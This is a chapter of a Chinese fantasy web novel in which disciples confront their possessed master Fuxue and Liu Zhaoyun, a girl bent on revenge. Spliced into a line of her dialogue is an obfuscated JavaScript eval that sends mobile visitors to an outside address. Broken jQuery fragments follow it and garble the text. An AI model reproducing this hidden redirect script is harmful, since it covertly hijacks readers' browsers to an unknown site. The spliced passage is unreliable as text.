16. 第 16 章

作品:《我师弟竟是灭世邪神

    周漾平时虽然喜欢和茯苓拌嘴,但也知道她心里最敏感的地方就是血统,纵是吵翻了天,也半个字都不敢往这方面吵。


    此刻他瞪着拂雪的背影,心急如焚:“这混蛋!让我进去我非撕烂他的嘴不可!”


    陆南星没听过这个称呼,看到茯苓情绪低落,立刻猜出这是一句骂词。


    他挡在茯苓身前:“有什么就冲我来!不准欺负我师姐!”


    拂雪冷笑一声,“你?你比她强不了多少。”


    “你、你这样傲慢的人,你凭什么啊?!”


    “身为修士,却欺负中州百姓们看不出猫腻,用藿虫胡乱给人定罪,你就是个败类!简直给玉京蒙羞!”


    “我蒙骗百姓,胡乱定罪?”拂雪嗤笑一声,环视了一圈在场众人。


    “我下山历练途经此地,灭火救人、藿虫寻凶不过都是徒手之劳。你们若是心中存疑信不过我,我走便是!”


    他刚刚灭掉那场肆虐的异火,在百姓们眼里是如同救世主一般的人,他的威信绝不是陆南星三言两语就能撼动的。


    “恩师留步!”太后当即拦住了他。


    “恩师于我中州有救命之恩,我们怎么可能不相信恩师呢?”


    “来人!把这两个捣乱的东西给我压下去!”


    收到命令的金羽卫即刻动身,每个人手上都握着一把玄铁大刀,寒光一现,将两人团团围住。


    茯苓没将他们放在眼里,虽然是医修,但从小在天翎宗长大多少也学了点拳脚功夫。更别提一把特调的软毒粉下去,已经麻痹了他们的四肢。


    她直直盯着拂雪,眼神坚决,带着股小鹿般的澄澈与倔强。


    不论是在哪个世界,人的善恶底色都不会变。


    而茯苓,她相信拂雪远超过相信自己。


    “师父!你清醒一点!你现在是被人控制了,真正的你绝对不可能替人作伪证的!”


    “师父?”


    拂雪眼中闪过一抹错愕,随即眉头紧蹙,冷下脸,眼底是止不住地厌恶与嫌弃。


    他冷笑连连,言语讥讽:“区区一个杂脉种,也配肖想做我的徒弟?”


    这副陌生的嘴脸,别说茯苓了,就连楼明月和周漾也从未见过。


    楼明月仍在源源不断地输送着自己的灵气,闻言也是一惊,难以置信地抬起头。


    “他…是不是被人下咒了?”


    顾钧寒神情戏谑,脸上无分毫意外,“也许这才是他本来的样子。”


    周漾则满脸懊悔:“都怪我,我就不该让她去的!你听听他说的是人话吗?!”


    “不怪你。”


    楼明月眼神微眯,视线盯着屏蔽罩内的情况,空出的右手掐了另一种短诀。


    “不管他原本是什么样,都得变成我师妹喜欢的样子。”


    “丝引,身随,吾令,勿违。”


    空灵的声音响起,指尖酝酿多时的金光即刻冲了出去。


    缕缕金光如同金针般飞射而去,穿过罩洞碰到拂雪时,又化作绵软缠绕的丝线,一缕一缕趁其不觉,化入体内,钻入他四肢的各个关节。


    楼明月设下的,是牵丝引魄傀儡术。


    虽然是小把戏,可抵不住出奇制胜。


    等到拂雪有所察觉的时候,金丝已经蹿入大脑,要么放开控制权任人摆布,要么立刻被刺成筛子——


    “你说得对……”


    拂雪身形踉跄,忽然一反常态。


    抬起头换了副神情,眼神温和地看向茯苓,“我方才的确是被人摄了心窍,对你言语过重,实在抱歉。”


    他咬牙,被逼道:“姑娘生的漂亮,还望…莫跟我这浅陋之人计较。”


    茯苓闻言微愣,一下一下地眨了眨眼睛,湿漉漉的双眼重新亮了起来。


    师父从来不会夸她漂亮,顶破天也只会说一句“可爱”。


    他突如其来的转变,让太后等人晕头转向,不知所措。


    “恩师…您现在是何意啊?”


    太后不解地开口,抬手止下了身后拔刀的金羽卫。


    “这位公子说得对,”拂雪偏头,看向陆南星,“中州人的案子用玉京的法子来破,未免有蒙蔽百姓之嫌。”


    “镇火珀是你们人族的精矿所产,用它来验也是一样的。”


    他旋即施法,从地上破败的废墟堆里找到两块儿遗落的镇火珀。


    “第二次爆炸是镇火珀不敌火曜石引起的。谁碰过火曜石的粉末,再握镇火珀,必定会被灼伤!”


    两块儿火曜石凌空飞来,分别悬在柳宴奚和陆统身前。


    他道:“二位,自证清白吧。”


    陆统的脑子清醒了些,看着面前的镇火珀,和地上一圈被押解的族人,想也没想双手直接握了上去。


    镇火珀并未将他灼伤,在场的陆氏族人瞬间松了口气,劫后余生,连架在脖子上的刀也不那么害怕了。


    柳宴奚的手臂轻颤,面上神情有些抗拒,在众人催促的目光下不得不伸手接过。


    他握着镇火珀,本想咬牙强忍住痛感,谁料掌心的血管被灼穿,血液流淌直下。


    王姝见状,立刻叩地大喊:


    “请大娘娘明鉴!私藏火曜石酿下大祸的,分明是他城南柳氏!”


    太后深深叹了口气,声音严肃道:


    “柳宴奚,你还有什么要说的?”


    “皇帝待你不薄,哀家待你不薄,究竟是什么泼天大恨,非让你拉上整城人的命不可?!”


    “什么不薄……”他忍痛冷笑着。


    抬起了伏低的头,眼神癫狂至极,脸上不见分毫悔意,不甘心地吼道:


    “单论技艺,我柳宴奚不比他陆统差!不比任何人差!若不是你那养女下嫁到了陆家,你心有偏颇,我怎会次次被陆统压上一头?!”


    他瞪着远处的王姝和陆统,眼里的恨意如有实质,恨不得将他们千刀万剐。


    陆南星向旁侧移两步,挡住了他看向母亲的视线。


    太后气的身子发抖,蓦然上前,愤恨地给了他一巴掌。


    “啪”的一声脆响,他跪得笔直的身子,不受控制地歪到在地。


    “你有几颗脑袋?妒心作祟就敢谋害帝王?!我要让你柳家九族尽诛,九族之外,世世代代逐出中州——”


    柳宴奚眼中的嫉妒渐渐冷却,取而代之的是被冲昏头脑后迟来的恐惧。


    现在被金羽卫刀抵脖颈的是陆氏族人,马上就会变成柳氏族人。


    他摇头,声音哽咽:“我没有…我没有想过谋害皇帝!我只是没料到火曜石的威力有如此之大!”


    “求娘娘…看在我为皇室卖力多年的份儿上,饶我妇幼一命吧!”


    “爹——”


    远处传来一声叫喊,披着一袭鹅黄斗篷的少女闯入了众人的视线。


    小姑娘尚未及笄,头顶挽着一对圆滚滚的总角,黑缎子似的发丝衬得小脸愈发白净。


    头上系着素色绸布,鬓边碎发温顺地贴在颊侧,长长的睫毛投下一小片阴影,唇角抿得淡淡的,瞧着很冷静,眉宇间有着超出这个年纪的沉着。


    柳朝云,柳家新认回来的女儿。之前因为后宅不宁,一出生就被奶母掳走遗弃,流落在外数十载。


    “爹,我不会让柳家出事的。”


    她俯下身子,只旁人一半大的手,安慰地拍了拍柳宴奚的身子。


    远处的周漾笑了一声,“出来了。”


    “她就是这个世界的执念者,没想到竟然是个丫头片子。”


    柳朝云转过身子,眉头蹙起,一脸怨气地盯着拂雪。


    “还记得我吗,阿卓。”


    他愣了一下,不可思议道:“你叫我什么?”


    她讥讽地勾起唇角,“怎么,好歹一起相依为命流浪了几载,你一朝飞黄腾达去了玉京,就不记得我了?”


    “小玉儿…你是小玉儿?!”


    他瞪大了眼睛,认真地盯着面前的柳朝云,略掉锦衣华服,她的面容逐渐与记忆中的那个身影相重叠。


    “你没死,你还活着?”他叩住她的肩膀,神情兴奋道。


    拂雪并非从小就在玉京长大,在没有遇见黄明长老前,他也只是混迹在破庙里的流浪儿。


    在那座破败的娘娘庙里,生活着许多落魄的乞丐。


    其中有一个失去孩子的疯女人,怀里抱着一堆干草,整天自言自语地哄孩子。


    可是有一日,她怀里的干草娃娃成真了。


    阿卓听到了婴儿的哭声,整日整夜、没完没了的哭声。


    他好奇地走了过去,不知这个疯女人是从哪儿捡来的婴儿,打眼一看就知道是大户人家的孩子。


    她身上包裹的都是昂贵的丝绸,脖子上挂着一个玉坠子,睁不开眼,拳头在空中胡乱地抓握。


    他眼疾手快,将玉坠子扯了下来藏在怀里,拿去当铺换了些碎银,日子好过了不少。


    后来,疯女人出去讨吃食被人打死了,这个孩子就被丢在娘娘庙的角落里,嚎啕大哭着没人管。


    阿卓听着她的哭声,心里有些过意不去,想着既然拿了她的玉坠子,总不能看她被活活饿死。


    总之,先喂她一顿,平平自己的良心再说吧。


    有了第一顿就有第二顿,有了第一日自然也有第二日。日日复日日下去,小玉儿就这么长大了。


    阿卓渐渐把她当成了自己的亲妹妹,有什么东西都要先紧着小玉儿。


    景明四十七年,中州迎来了最大的一场暴雪。


    阿卓生了一场大病,倒在娘娘庙里高烧昏迷不醒。


    路过此地的长老黄明好心为他诊脉,见他根骨不错,天生剑脉,便将他带回了玉京。


    小玉儿冒着风雪上山采药,回来时阿卓却已经不见了踪迹。


    阿卓在天翎宗醒来,吵着闹着要回中州找小玉儿,黄明陪他在中州寻了月余,怎么也找不到那个孩子的身影。


    他们说,暴雪冻死了不少乞丐,有的被拉去了乱葬岗,有的就埋在城边街道的皑皑白雪下。


    他以为小玉儿死了,伤心难过了好一阵才肯接受这个事实。


    后来摇身一变,成了黄明长老的座下弟子,拂雪。


    黄明因着愧疚,众多弟子中一直对他偏爱有加。再加上他也足够争气,入宗短短几载便能跻身弟子榜前列,让他的性格愈发高傲。


    拂雪不知道小玉儿没死,更不知道她是柳家的五小姐——柳朝云


    命运作弄,再相见时已是金明台之变,他亲口宣判了自己父亲的罪行。


    柳家满门抄斩,陆家除却陆远一脉举家流放。


    即使后来的柳朝云被拂雪救走,心里的恨与执念却疯狂滋长,锥心刺骨,始终无法释怀。


    她的执念,就在归墟化为了一股力量,一方由她执念所改写的并行世界。


    “八年前是你抛弃了我去玉京,如今我好不容易找到了自己的家,你又要毁了我的幸福吗?”


    柳朝云盯着他,犀利地质问道。


    拂雪呼吸停滞,心脏被她充满隔阂和憎恶的眼神攥紧,疼得难以喘息。


    他连连摇头否定,张口却有些哽咽,“小玉儿,我没有…我可以对天起誓,我从来没有想过要抛弃你!更不想毁了你的幸福!”


    “我、我找了,我在中州怎么都寻不到你,我以为你死了,我不知道你是城南柳氏的人……”


    “你现在知道了!”柳朝云打断了他。


    忽地伸手,攥住拂雪的小臂,蛊惑似地道:“如果你真的想我好……”


    她扭头环视,陆氏族人的身影一一倒映在她年轻的瞳孔里。


    随即哂然一笑,用最稚气的声音,说出最骇人的话,“阿卓哥,只要你杀了他们所有人,一切就还来得及,我们之间就没有那么多隔阂了。”


    “……”


    “……”


    拂雪瞳孔微缩,欲言又止道:“小玉儿,你知道自己在说什么吗?”


    她闻言一默,神情慢慢冷了下来。


    “你不肯?”


    “我……”拂雪不知该如何作答。


    她神情讥笑,眼眶通红,失声地吼道:“你知不知道,在这个世界上我最恨的人就是你!”


    她哽咽道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098943|194965||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “旁人怎么样对我我不在乎,可是你不能……你不能和他们一样对我!”


    “你说你会一辈子保护我,可是你扭头就丢下我一个人,八年前的雪那么大,我连一双完好的草鞋都没有,为了找你赤着脚跑遍了整个晋安……”


    “你说你会赶走所有欺负我的人,可现在你回来了,你成了威风凛凛的仙长,你却帮着他们来欺负我!让我落得满门抄斩家破人亡的下场!”


    她仰头望着他,眼底翻涌的情绪尽数化作滚烫的泪。


    汹涌的泪水砸在他的手背,带着窒息灼人的温度。


    “我想过原谅你的,可你为什么总是这样对我呢?轻而易举就摧毁了我的所有……我恨你!我真的恨死你了——”


    拂雪心头一颤,听着她的谴责,眼眶愈来愈红,逐渐被愧疚淹没。


    他终于抬起头,决心道:


    “……我帮你。”


    他攥紧了手中长剑,在心底做好了取舍。


    见他要动手,茯苓急道:“师父!你若伤及无辜与剑心相悖,是会被剑脉反噬的!”


    远处的楼明月看着这一幕,直白道:“他迟早有这么一遭。”


    “不论在哪个世界,柳朝云总是能说动他。他正是剑脉被毁,被贬到三圣山从医,才遇到了茯苓。”


    “当初是黄明长老拦住了他才没酿成大祸,如今…只能靠我们来拦了。”


    “师弟,你…”


    明月偏头,发现顾钧寒略有出神,视线盯着眼前的拂雪和柳朝云,神情中竟有一丝艳羡流露。


    “你在想什么?”她问。


    他勾了勾唇,意味不明闷声道:


    “他虽然糊涂,却是个重诺之人。”


    重诺之人?


    楼明月眼眸微垂,心下了然。


    阿卓说过会保护小玉儿一辈子,就像她也曾说过,会保护师弟一辈子。


    人年纪轻的时候,大概真的不知道誓有多重。


    随随便便对天起誓,信得人等了一辈子,最后痴狂落幕,回头看,竟然只是为了一句轻飘飘的话。


    誓言易改,怨愤难歇。


    “你来太清宫做我师弟吧,这样我就能保护你一辈子了!”


    “我知道妖珠很重要,可是师弟在我心里更重要啊。”


    “再来一次……我还是要救我师弟,就算换我被烧掉也没关系。”


    ……


    小明月的声音在脑中回响,那些画面一幕幕被唤醒,她再也无法忽视眼前顾钧寒的落寞。


    他也是个信了一辈子的人。


    守阙抱残,最后死在自己随手捡来的一把钝剑下。


    楼明月叹了口气,犹豫再三,只敢道:“你不必点我,他日你大祸临头,我未必不会护着你。”


    “我信。”顾钧寒毫不犹豫地接过。


    “师姐放心,我会拦下他的。”


    顾钧寒断开了对屏蔽罩的灵气供给,屏蔽罩立刻反向褫夺楼明月和周漾的灵力。


    他趁机冲了进去,成为众人眼前第三个凭空闪现的人。


    “顾师哥,你怎么也进来了?”陆南星眉头微扬,有些惊讶。


    他冷冷地嗤笑一声,满脸不屑:


    “我不来,你就等死了。”


    拂雪的“风吟九式”,在这一年已经修炼至最高式——罡风吟。


    他腰间长剑脱鞘而出,在晋安城的天空纵横盘旋,看似毫无章法,实则是在用剑气结阵。


    剑过处,罡风呼啸。


    淬着凛冽杀意的剑气与之交融,化作吞天吞噬地的洪流,将所有陆氏族人尽数笼罩,锐势难当。


    茯苓想要阻止他的剑阵,却被强势的罡风震飞在地。


    她看着眼前狠戾的拂雪,和自己印象里温厚近人的师父,简直判若两人。


    他放声喝斥道:“我无意取你性命,滚开——”


    她攥住衣摆,不甘心地质问。


    “为了一个人,要赔上成百上千人的性命,这么做真的对吗?!”


    “对与不对,老天自会惩我!哪怕是刀劈斧砍我也甘愿领罚!”


    他为了小玉儿,什么都肯做。


    但他心心念念的小玉儿,早在风雪掩尸的那一年就已经死了。


    活下来的,只是柳朝云。


    空中酝酿多时的剑阵落下,巨大的风压逼得所有人跪地俯身。


    长剑即将夺人性命之际,顾钧寒调动了体内邪气,剑阵如粉尘般被碾灭。


    余下的风波全都朝一人袭去。


    柳朝云身躯一震,摔倒在地。


    拂雪被剑脉反噬,陆南星趁机压住了他,茯苓则夺走了他的佩剑。


    顾钧寒逐步朝她逼近,柳朝云看着面前男人阴狠的气势,吓得缩了缩身子。


    他伸手,宽厚的大手毫不留情地扼住她的脖颈。


    窒息感袭来,柳朝云难受到了极点,锐利的指甲死死嵌入他臂膀皮肉。


    “要么执念消散,要么滚回你该呆的地方。”


    该呆的地方,是指容纳所有执念的归墟。


    这些执念从归墟跑出来,都是受到了执念主人的召唤与指引。


    她们想让自己的执念世界,取代这个原本的世界。


    所以从某种程度上来说,这些不同的执念,它们之间也是一种竞争关系,就比谁先占据这个原本的世界。


    “我不过是想给自己寻到另一个结局,又有什么错!难道你就不曾有过执念吗?!”


    柳朝云感应到了什么,看向他的视线逐渐变得犀利。


    “装得什么冠冕堂皇,这执念幻化的三千世界里,分明也有你的一份!”


    她怒目圆睁:“我会在归墟等着你,等着你幻梦被打碎的那一天……”


    顾钧寒听后神色顿变,凌厉的眉头蹙起,眼神沉沉如墨,臂膀上青筋暴起,力道大得骇人。


    “咔哒”一声,柳朝云被生生扼断了脖子。


    她的身影倏然消散,凝作一块儿莹润剔透的白水晶。


    周围的世界开始扭曲,如潮水般朝它涌去,全都被这块儿水晶卷入其中。